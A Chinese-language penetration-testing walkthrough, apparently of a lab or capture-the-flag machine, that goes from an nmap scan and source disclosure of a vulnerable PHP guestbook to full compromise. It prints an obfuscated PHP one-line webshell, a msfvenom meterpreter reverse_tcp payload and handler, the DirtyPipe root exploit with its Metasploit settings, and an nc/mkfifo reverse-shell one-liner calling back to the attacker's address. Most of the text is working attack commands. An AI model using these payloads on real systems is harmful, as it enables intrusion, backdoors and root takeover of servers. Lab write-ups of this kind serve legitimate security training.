nmap -sS -p 80 -oG - 192.168.192.0/24 | grep open探测网段下开放80端口的主机。

扫描目录
发现该界面

存储型xss


发现file参数貌似可以控制读取文件目标。

尝试利用伪协议读取,文件内容。

解码,分析源代码:
<?php
$file="graffiti.txt";//默认file为graffiti.txt
if($_SERVER['REQUEST_METHOD'] == 'POST') {
    if (isset($_POST['file'])) {
       $file=$_POST['file'];
    }
//如果message不为空打开file文件
    if (isset($_POST['message'])) {
        $handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);
        fwrite($handle, $_POST['message']);//将message写进handle里
        fwrite($handle, "\n");
        fclose($file); 
    }
}
// Display file
$handle = fopen($file,"r");//handle为file的值
while (!feof($handle)) {
  echo fgets($handle);
  echo "<br>\n";
}
fclose($handle);
?>
<p>
Enter message: 
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>
我错了,不仅仅是xss,妥妥的任意写入文件漏洞。
开始后渗透
构造一句话木马:
<?php $bb="assert"; $a="bb"; $$a(@$_POST['juminfo']); ?>msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.111.130 lport=2288 -f elf > mazi.elf //生成liunx马子 use exploit/multi/handler //msf监听 search suggester //获取session后使用提权漏洞检测模块
使用,
use exploit/linux/local/cve_2022_0847_dirtypipe配置新的端口及信息
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set lhost 192.168.111.130 lhost => 192.168.111.130 msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set lport 6677 lport => 6677 msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set session 2 session => 2 msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > run获得root权限shell后。
nc -lvnp 4242 //开个新端口,做nc监听 rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc 192.168.111.130 4242 > f//利用nc反弹shell获取交互式shell





















